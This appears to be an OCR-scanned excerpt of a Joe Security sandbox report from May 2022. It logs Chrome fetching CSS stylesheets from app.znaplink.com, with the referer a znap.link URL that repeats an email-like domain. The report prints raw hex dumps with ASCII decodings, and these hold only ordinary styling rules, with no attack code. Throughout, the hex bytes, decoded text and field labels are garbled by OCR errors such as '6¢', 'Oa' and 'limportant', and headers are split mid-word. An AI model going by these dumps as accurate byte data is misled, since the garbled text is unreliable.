35 2c¢ 20 32 35 35 2¢ 20 32 35 35 2¢ 20 30 2e 38 35 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6¢ 69 70 3a 20
70 61 64 64 69 6e 67 2d 62 6f 78 3b 0a 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6¢ 69 64 20
72 67 62 61 28 30 2c 20 30 2c¢ 20 30 2c 20 30 2e 30 35 29 3b Oa 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 6¢ 65 66 74 2d
7261 64 69 75 73 3a 20 63 61 6¢ 63 28 30 2e 32 35 72 65 6d 20 2d 20 31 70 78 29 3b 0a 20 20 62 6f 72 64 65 72 2d 74
6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 20 63 61 6¢ 63 28

Data Ascii: r; padding: 0.25rem 0.75rem; color: #858585; background-color: rgba(255, 255, 255, 0.85); background-clip:
padding-box; border-bottom: 1px solid rgba(0, 0, 0, 0.05); border-top-left-radius: calc(0.25rem - 1px); border-top-right-
radius: calc(

Data Raw: 2e 62 67 2d 69 6e 66 6f 3a 68 6f 76 65 72 2c 0a 62 75 74 74 6f 6e 2e 62 67 2d 69 6e 66 6f 3a 66 6f 63 75 73
20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6 64 2d 63 6f 6¢ 6f 72 3a 20 23 31 31 37 61 38 62 20 21 69 6d 70 6f 72 74 61 6€
74 3b 0a 7d Oa 2e 62 67 2d 77 61 72 6e 69 6e 67 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20
23 66 66 63 31 30 37 20 21 69 6d 70 6f 72 74 61 6e 74 3b Oa 7d Oa 61 2e 62 67 2d 77 61 72 6e 69 6e 67 3a 68 6f 76 65
72 2c 0a 61 2e 62 67 2d 77 61 72 6e 69 6e 67 3a 66 6f 63 75 73 2c 0a 62 75 74 74 6f 6e 2e 62 67 2d 77 61 72 6e 69 6¢ 6
7 3a 68 6f 76 65 72 2c 0a 62 75 74 74 6f 6e 2e 62 67 2d 77 61 72 6e 69 6e 67 3a 66 6f 63 75 73 20 7b 0a 20 20 62 61 63
6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 64 33 39 65 30 30

Data Ascii: .bg-info:hover,button.bg-info:focus { background-color: #117a8b !important;}.bg-warning { background-color:
#ffc107 limportant;}a.bg-warning:hover,a.bg-warning:focus, button.bg-warning:hover,button.bg-warning:focus { backgroun
d-color: #d39e00

Data Raw: 70 61 63 65 2d 61 72 6f 75 6e 64 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 61 6¢ 69 67 6e
2d 69 74 65 6d 73 2d 6d 64 2d 73 74 61 72 74 20 7b 0a 20 20 20 20 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 20 66 6¢ 65 78
2d 7374 61 72 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 61 6¢ 69 67 6e 2d 69 74 65 6d 73 2d 6d
64 2d 65 6e 64 20 7b 0a 20 20 20 20 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 20 66 6¢ 65 78 2d 65 6e 64 20 21 69 6d 70 6f
72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 61 6¢ 69 67 6e 2d 69 74 65 6d 73 2d 6d 64 2d 63 65 6e 74 65 72 20 7b Oa 20
2020 20 61 6¢ 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa
20 20 2e 61 6¢ 69 67 6e 2d 69 74 65 6d 73 2d 6d 64 2d 62 61 73 65 6¢ 69

Data Ascii: pace-around !important; } .align-items-md-start { align-items: flex-start limportant; } .align-items-md-end {
align-items: flex-end limportant; } .align-items-md-center { align-items: center limportant; } .align-items-md-baseli
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kBytes

Timestam
P transferred

2022-05-13 12:56:12 UTC 452

2022-05-13 12:56:12 UTC 468

2022-05-13 12:56:12 UTC 484

2022-05-13 12:56:12 UTC 500

Session ID Source IP
7 192.168.2.5
. kBytes
Tim m|
estamp transferred

2022-05-13 12:56:11 UTC 74

2022-05-13 12:56:11 UTC 85

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49781

Direction

ouT

Data

Data Raw: 6e 74 3b Oa 7d Oa 2e 6d 2d 6e 31 30 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 2d 31 30 72 65 6d 20 21 69 6d
70 6f 72 74 61 6e 74 3b 0a 7d Oa 2e 6d 74 2d 6e 31 30 2c Oa 2e 6d 79 2d 6e 31 30 20 7b 0a 20 20 6d 61 72 67 69 6e 2d
74 6f 70 3a 20 2d 31 30 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b Oa 7d Oa 2e 6d 72 2d 6e 31 30 2c Oa 2e 6d 78 2d 6
€ 313020 7b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 2d 31 30 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74
3b 0a 7d Oa 2e 6d 62 2d 6e 31 30 2c 0a 2e 6d 79 2d 6e 31 30 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a
20 2d 31 30 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d Oa 2e 6d 6¢ 2d 6e 31 30 2c Oa 2e 6d 78 2d 6e 31 30 20
7b 0a 20 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 31 30 72 65 6d 20 21

Data Ascii: nt;}.m-n10 { margin: -10rem !important;}.mt-n10,.my-n10 { margin-top: -10rem !important;}.mr-n10,.mx-n10 {
margin-right: -10rem limportant;}.mb-n10,.my-n10 { margin-bottom: -10rem limportant;}.mI-n10,.mx-n10 { margin-left: -
10rem!

Data Raw: 0a 20 20 2e 70 78 2d 6d 64 2d 37 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 35 72
65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d 0a 20 20 2e 70 62 2d 6d 64 2d 37 2c 0a 20 20 2e 70 79 2d 6d 64
2d 37 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 35 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 7
4 3b 0a 20 20 7d 0a 20 20 2e 70 6¢ 2d 6d 64 2d 37 2c 0a 20 20 2e 70 78 2d 6d 64 2d 37 20 7b 0a 20 20 20 20 70 61 64
64 69 6e 67 2d 6¢ 65 66 74 3a 20 35 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 70 2d 6d 64
2d 38 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 36 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa
20 20 2e 70 74 2d 6d 64 2d 38 2c 0a 20 20 2e 70 79 2d 6d 64 2d 38 20 7b Oa

Data Ascii: .px-md-7 { padding-right: 5rem limportant; } .pb-md-7, .py-md-7 { padding-bottom: 5rem !important; }
.pl-md-7, .px-md-7 { padding-left: 5rem limportant; } .p-md-8 { padding: 6rem !important; } .pt-md-8, .py-md-8 {

Data Raw: 70 6f 72 74 61 6e 74 3b 0a 20 20 7d 0a 20 20 2e 6d 2d 78 6c 2d 35 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a
20337265 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 6d 74 2d 78 6¢ 2d 35 2c Oa 20 20 2e 6d 79
2d 78 6¢ 2d 35 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74
3b 0a 20 20 7d Oa 20 20 2e 6d 72 2d 78 6¢ 2d 35 2c Oa 20 20 2e 6d 78 2d 78 6¢ 2d 35 20 7b 0a 20 20 20 20 6d 61 72 67
69 6e 2d 72 69 67 68 74 3a 20 33 72 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 6d 62 2d 78 6¢
2d 35 2c 0a 20 20 2e 6d 79 2d 78 6¢c 2d 35 20 7b Oa 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 33 72 65
6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 2e 6d 6c 2d

Data Ascii: portant; } .m-xI-5{ margin: 3rem limportant; } .mt-xI-5, .my-xI-5{ margin-top: 3rem limportant; } .mr-xl-
5, .mx-xl-5{ margin-right: 3rem limportant; } .mb-xI-5, .my-xI-5{ margin-bottom: 3rem limportant; } .ml-

Data Raw: 2d 35 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 29 2c 0a 20 20 20 20 30 20 31 30 70 78
2031307078 20 2d 35 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 34 29 20 21 69 6d 70 6f 72 74 61
6e 74 3b 0a 7d Oa 2e 73 68 61 64 6f 77 2d 32 78 6¢ 20 7b 0a 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 323570 7
8203530707820 2d 313270 7820 7267 62 61 28 30 2¢ 20 30 2c 20 30 2c 20 30 2e 32 35 29 20 21 69 6d 70 6f 72 74
61 6e 74 3b Oa 7d Oa 2e 73 68 61 64 6f 77 2d 69 6e 6e 65 72 20 7b Oa 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 69 6e
7365 74 20 30 20 32 70 78 20 34 70 78 20 30 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 36 29 20 21 69 6d
70 6f 72 74 61 6e 74 3b Oa 7d Oa 2e 64 72 6f 70 64 6f 77 6e 2d 74 6f 67

Data Ascii: -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04) limportant;}.shadow-2x| { box-shadow: 0 25px
50px -12px rgbha(0, 0, 0, 0.25) limportant;}.shadow-inner { box-shadow: inset 0 2px 4px 0 rgba(0, 0, 0, 0.06) !import
ant;}.dropdown-tog

Destination IP SEEIRETT Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets/css/custom.css?v=2&init=1652446571 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Thu, 05 May 2022 19:58:51 GMT
ETag: "ff0e-5de492bbdb6e7"
Accept-Ranges: bytes

Content-Length: 65294

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:11 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css
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kBytes

Timestam
P transferred

2022-05-13 12:56:12 UTC 173

2022-05-13 12:56:12 UTC 189

2022-05-13 12:56:12 UTC 291

2022-05-13 12:56:12 UTC 307

Session ID Source IP
8 192.168.2.5
. kBytes
T
imestamp transferred

2022-05-13 12:56:11 UTC 75

2022-05-13 12:56:11 UTC 77

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49783

Direction

ouT

Data

Data Raw: 2f 2a 20 40 69 6d 70 6f 72 74 20 75 72 6¢ 28 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6¢ 65 61
7069 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6¢ 79 3d 50 6f 70 70 69 6€ 73 3a 77 67 68 74 40 34 30 30 3b 36 30 30
3b 37 30 30 26 64 69 73 70 6¢ 61 79 3d 73 77 61 70 22 29 3b 0a 2a 20 7b Oa 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a
202250 6f 70 70 69 6e 73 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65
20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6¢ 79 3a 20 22 45 75 64 6f 78 75 73 20 53 61 6e 73 22 3b 0a 20 20 73 72 63
3a 20 75 72 6¢ 28 22 2e 2e 2f 66 6f 6e 74 73 2f 45 75 64 6f 78 75 73 2d 53 61 6e 73 2d 66 6f 6e 74 2f 45 75 64 6f 78 75
73 53 61 6e 73 2d 42 6f 6¢ 64 2e 77 6f 66 66 32 22 29 20 66 6f

Data Ascii: /* @import url("https://fonts.googleapis.com/css2?family=Poppins:wght@400;600;700&display=swap");* {
font-family: "Poppins", sans-serif;} */@font-face { font-family: "Eudoxus Sans"; src: url("../fonts/Eudoxus-Sans-f
ont/EudoxusSans-Bold.woff2") fo

Data Raw: 67 65 2d 73 75 63 63 65 73 73 20 7b 0a 20 20 63 6f 6¢ 6f 72 3a 20 68 73 6¢ 61 28 31 33 34 2¢ 20 35 30 25 2¢
203330 25 2c¢ 20 31 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 68 73 6¢ 61 28 31 33 34 2¢ 20
3530 25 2¢ 20 38 35 25 2¢ 20 31 29 3b 0a 7d 0a Oa 5b 64 61 74 61 2d 74 68 65 6d 65 2d 73 74 79 6¢ 65 3d 22 64 61 72
6b 22 5d 20 2e 62 61 64 67 65 2d 73 75 63 63 65 73 73 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72

3a 2068 73 6¢ 61 28 31 33 34 2¢ 20 35 30 25 2¢ 20 33 30 25 2¢ 20 31 29 3b 0a 20 20 63 6f 6¢ 6f 72 3a 20 68 73 6¢ 61 28
31 3334 2¢ 20 35 30 25 2¢ 20 38 35 25 2¢ 20 31 29 3b Oa 7d Oa Oa 2e 62 61 64 67 65 2d 64 61 6e 67 65 72 20 7b 0a 20
20 63 6f 6¢ 6f 72 3220 68 73 6¢ 61 28 33 35 34 2¢ 20 37 30 25 2¢

Data Ascii: ge-success { color: hsla(134, 50%, 30%, 1); background-color: hsla(134, 50%, 85%, 1);}{data-theme-style="d
ark"] .badge-success { background-color: hsla(134, 50%, 30%, 1); color: hsla(134, 50%, 85%, 1);}.badge-danger { color:
hsla(354, 70%,

Data Raw: 68 3a 20 31 30 30 25 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 68 65 69 67 68
74 3a20 34 35 70 78 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 33 30 70 78 20 21 69 6d 70 6f 72 74 61
6e 74 3b 0a 7d Oa 2e 66 6f 6¢ 64 65 72 73 2d 6¢ 69 6e 6b 73 2d 73 65 63 74 69 6f 6e 20 7b Oa 20 20 6d 69 6e 2d 68 65 6
967 68 74 3a 20 38 30 76 68 3b 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29
20 7b 0a 20 20 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2e 64 72 6f 70 64 6f 77 6e 2d 6d 65 6e 75 2d 72 69 67 68 74 20
7b 0a 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6 63 6b 20 21 69 6d 70 6f 72 74 61 6€ 74 3b 0a 20 20 20 20 77 69
64 74 68 3a 20 31 30 30 25 20 21 69 6d 70 6f 72 74 61 6e 74 3b Oa 20 20

Data Ascii: h: 100%; font-size: 14px; height: 45px; border-radius: 30px limportant;}.folders-links-section { min-height:
80vh;}@media (max-width: 992px) { .dropdown-menu.dropdown-menu-right{ display: block limportant; ~width: 100%
limportant;

Data Raw: 30 20 31 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b Oa 7d Oa 2e 74 65 78 74 2d 63 6f 6¢ 6f 72 2d 6d 61 69
6e 20 69 6d 67 7b Oa 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 62 6f 72 64 65 72 3a 20 32 70 78
20 73 6f 6¢ 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 3b Oa 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 35 30
70 78 3b 0a 7d Oa 2e 74 65 78 74 2d 63 6f 6¢ 6f 72 2d 6d 61 69 6e 20 69 6d 67 2e 61 63 74 69 76 65 7b 0a 20 20 62 6f 72
64 65 72 3a 32 70 78 20 73 6f 6¢ 69 64 20 23 66 66 34 35 36 36 3b Oa 7d Oa 2e 62 6f 72 64 65 72 2d 72 6f 75 6e 64 65 6
4 7b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 31 32 70 78 3b Oa 7d Oa Oa Oa 2f 2a 20 73 74 72 69 70 65 20
63 73 73 20 2a 2f 0a Oa 23 63 61 72 64 5f 6e 75 6d 62 65 72 2¢ 23

Data Ascii: 0 10px limportant;}.text-color-main img{ cursor: pointer; border: 2px solid transparent; border-radius: 5
Opx;}.text-color-main img.active{ border:2px solid #{f4566;}.border-rounded{ border-radius: 12px;}/* stripe css */#car
d_number,#

Destinati
Destination IP snation Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets/css/link-custom.css?v=2&init=1652446571 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Mon, 07 Mar 2022 22:55:36 GMT
ETag: "19d8-5d9a8c33ef2cd"
Accept-Ranges: bytes

Content-Length: 6616

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:11 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css
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kBytes

Timestam
P transferred

2022-05-13 12:56:11 UTC 78

Session ID Source IP
9 192.168.2.5
. kBytes
Ti t
fmestamp transferred

2022-05-13 12:56:11 UTC 75

2022-05-13 12:56:11 UTC 84

2022-05-13 12:56:12 UTC 141

2022-05-13 12:56:12 UTC 157

2022-05-13 12:56:12 UTC 253

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49782

Direction

ouT

Data

Data Raw: 0a 69 6e 70 75 74 5b 74 79 70 65 3d 27 74 65 78 74 27 5d 2c 0a 69 6e 70 75 74 5b 74 79 70 65 3d 27 6e 75
6d 62 65 72 27 5d 2c 0a 74 65 78 74 61 72 65 61 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 20 21 69
6d 70 6f 72 74 61 6e 74 3b Oa 7d 0a 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d
6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6¢ 2d 72 61 74 69 6f 3a 20 30 29 20 7b Oa 20 20 73 65 6¢ 65 63 74 2c Oa
202074 65 78 74 61 72 65 61 2c 0a 20 20 69 6e 70 75 74 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36
70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d Oa 20 20 Oa 7d Oa Oa 2e 6¢ 69 6e 6b 2d 68 74 6d 6¢ 20 7b 0a 20
20 20 20 6d 69 6e 2d 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 7d Oa Oa 2e

Data Ascii: input[type="text’],input[type="number'],textarea { font-size: 16px !important;}@media screen and (-webkit-min-
device-pixel-ratio: 0) { select, textarea, input{ font-size: 16px !limportant; } }.link-html{ min-height: 100%;}.

Destination IP LWL Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets/css/animate.min.css?v=2&init=1652446571 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:11 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:40:48 GMT
ETag: "11847-5ce7a22cc492c"
Accept-Ranges: bytes

Content-Length: 71751

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:11 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css

Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2f 2a 21 0a 20 2a 20 61 6e 69 6d 61 74 65 2e 63 73 73
20 2d 20 68 74 74 70 73 3a 2f 2f 61 6e 69 6d 61 74 65 2e 73 74 79 6¢ 65 2f 0a 20 2a 20 56 65 72 73 69 6f 6e 20 2d 20 34
2e 31 2e 31 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 6¢ 69 63 65 6€ 73 65 20
2d 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6¢ 69 63 65 6e 73 65 73 2f 4d 49 54 Oa 20 2a Oa
20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 20 41 6e 69 6d 61 74 65 2e 63 73 73 0a 20 2a 2f 3a 72 6
f6f74 7b 2d 2d 61 6e 69 6d 61 74 65 2d 64 75 72 61 74 69 6f 6e 3a 31 73 3b 2d 2d 61 6e 69 6d 61 74 65 2d 64 65 6¢ 61
79 3a31733b2d 2d 61 6e 69 6d 61 74 65 2d 72 65 70 65 61 74 3a

Data Ascii: @charset "UTF-8";/* * animate.css - https://animate.style/ * Version - 4.1.1 * Licensed under the MIT license -
http://opensource.org/licenses/MIT * * Copyright (c) 2020 Animate.css */:root{--animate-duration:1s;--animate-delay:1s;--
animate-repeat:

Data Raw: 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 58 28 30 29 20 73 63 61 6¢ 65 28 2e 37 29 3b 74 72 61 6e 73
66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 58 28 30 29 20 73 63 61 6¢ 65 28 2e 37 29 3b 6f 70 61 63 69 74 79 3a 2e 37
7d 74 6f 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6¢ 65 28 31 29 3b 74 72 61 6e 73 66 6f 72
6d 3a 73 63 61 6¢ 65 28 31 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 62 61 63 6b 49 6€ 4C 65
66 74 7b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6€ 2d 6e 61 6d 65 3a 62 61 63 6b 49 6e 4c 65 66 74 3b 61 6
69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 62 61 63 6b 49 6e 4c 65 66 74 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61
6d 65 73 20 62 61 63 6b 49 6e 52 69 67 68 74 7b 30 25 7b 2d 77 65 62

Data Ascii: nsform:translateX(0) scale(.7);transform:translateX(0) scale(.7);opacity:.7}to{-webkit-transform:scale(1);tr
ansform:scale(1);opacity:1}}.animate__backlInLeft{-webkit-animation-name:backInLeft;animation-name:backinLeft}@-
webkit-keyframes backInRight{0%{-web

Data Raw: 65 33 64 28 2d 32 30 30 30 70 78 2c¢ 30 2c¢ 30 29 7d 74 6f 7b 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69
742d 7472 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61
6e 73 6¢ 61 74 65 5a 28 30 29 7d 7d 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 4c 65 66 74 42 69 67 7b 2d 77 65
62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 64 65 49 6e 4c 65 66 74 42 69 67 3b 61 6e 69 6d 61
74 69 6f 6e 2d 6e 61 6d 65 3a 66 61 64 65 49 6e 4c 65 66 74 42 69 67 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61
6d 65 73 20 66 61 64 65 49 6e 52 69 67 68 74 7b 30 25 7b 6f 70 61 63 69 74 79 3a 30 3b 2d 77 65 62 6b 69 74 2d 74 72
61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 33 64 28 31 30 30 25

Data Ascii: €3d(-2000px,0,0)}to{opacity:1;-webkit-transform:translateZ (0);transform:translateZ(0)}}.animate__fadelnLeftB
ig{-webkit-animation-name:fadelnLeftBig;animation-name:fadelnLeftBig}@-webkit-keyframes fadelnRight{0%{opacity:0;-
webkit-transform:translate3d(100%
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kBytes

Direction Data
transferred

Timestamp

2022-05-13 12:56:12 UTC 269 IN Data Raw: 2d 33 30 64 65 67 29 3b 6f 70 61 63 69 74 79 3a 30 7d 36 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73
66 6f 72 6d 3a 73 6b 65 77 58 28 32 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 32 30 64 65 67
29 3b 6f 70 61 63 69 74 79 3a 31 7d 38 30 25 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 2
82d 3564656729 3b 74 72 61 6e 73 66 6f 72 6d 3a 73 6b 65 77 58 28 2d 35 64 65 67 29 7d 74 6f 7b 2d 77 65 62 6b 69
74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6¢ 61 74 65 5a 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61
6e 73 6¢c 61 74 65 5a 28 30 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 6¢ 69 67 68 74 53 70 65 65 64 49 6e 52 69 67 68
74 7b 3025 7b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 74
Data Ascii: -30deg);opacity:0}60%f{-webkit-transform:skewX(20deg);transform:skewX(20deg);opacity:1}80%{-webkit-
transform:skewX(-5deg);transform:skewX(-5deg)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes
lightSpeedInRight{0%{-webkit-transform:t

2022-05-13 12:56:12 UTC 285 IN Data Raw: 69 67 69 6e 3a 63 65 6e 74 65 72 20 62 6f 74 74 6f 6d 7d 40 2d 77 65 62 6b 69 74 2d 6b 65 79 66 72 61 6d 65
73 20 7a 6f 6f 6d 4f 75 74 4c 65 66 74 7b 34 30 25 7h 6f 70 61 63 69 74 79 3a 31 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e
73 66 6f 72 6d 3a 73 63 61 6¢ 65 33 64 28 2e 34 37 35 2¢ 2e 34 37 35 2c 2e 34 37 3529 20 74 72 61 6e 73 6¢ 61 74 65
336428343270782c302c 3029 3b 747261 6e 7366 6f726d3a 736361 6¢ 65336428 2e 34 37 35 2c 2e 34 37
35 2c 2e 34 37 3529 20 74 72 61 6e 73 6¢ 61 74 65 33 64 28 34 32 70 78 2c 30 2c 30 29 7d 74 6f 7b 6f 70 61 63 69 74 7
93a303b2d 776562 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6¢ 65 28 2e 31 29 20 74 72 61 6e 73 6C 61
74 65 33 64 28 2d 32 30 30 30 70 78 2¢ 30 2¢ 30 29 3b 74 72 61 6e 73
Data Ascii: igin:center bottom}@-webkit-keyframes zoomOutLeft{40%{opacity:1;-webkit-transform:scale3d(.475,.475,.475)
translate3d(42px,0,0);transform:scale3d(.475,.475,.475) translate3d(42px,0,0)}to{opacity:0;-webkit-transform:scale(.1) tra
nslate3d(-2000px,0,0);trans

Statistics

Behavior

@ chrome.exe
® chrome.exe
@ chrome.exe
@ chrome.exe

o)

Click to jump to process

System Behavior

